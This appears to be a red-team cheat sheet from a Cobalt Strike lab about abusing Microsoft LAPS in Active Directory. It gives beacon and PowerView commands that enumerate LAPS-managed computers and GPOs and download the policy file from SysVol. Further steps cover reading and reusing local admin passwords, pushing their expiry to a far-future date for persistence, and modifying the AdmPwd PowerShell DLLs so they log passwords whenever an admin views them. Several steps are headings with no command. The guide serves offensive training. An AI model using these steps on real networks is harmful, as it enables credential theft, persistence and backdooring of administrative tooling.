githubEdit

LAPS

LAPS

Check for presence of LAPS

LAPS client installed on local machine

beacon> ls C:\Program Files\LAPS\CSE

Computer Object having ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attribute set

powerpick Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName

LAPS configuration deplayed through GPO

beacon> powerpick Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

Download LAPS configuration

beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine

beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol

Parse the LAPS GPO Policy file downloaded in previous step

Identify the principals who have read right to LAPS password

Use Laps Toolkit to identify Groups & Users who can read LAPS password

View the LAPS password for given machine (From User Session having required rights)

Use the laps password to gain access

Set Far Future date as expiry (Only machine can set its Password)

LAPS Backdoor

  • Modify the AdmPwd.PS.dll and AdmPwd.Utils.dll file located at C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\ location to log the LAPS password everytime it is viewed by the admin user

Last updated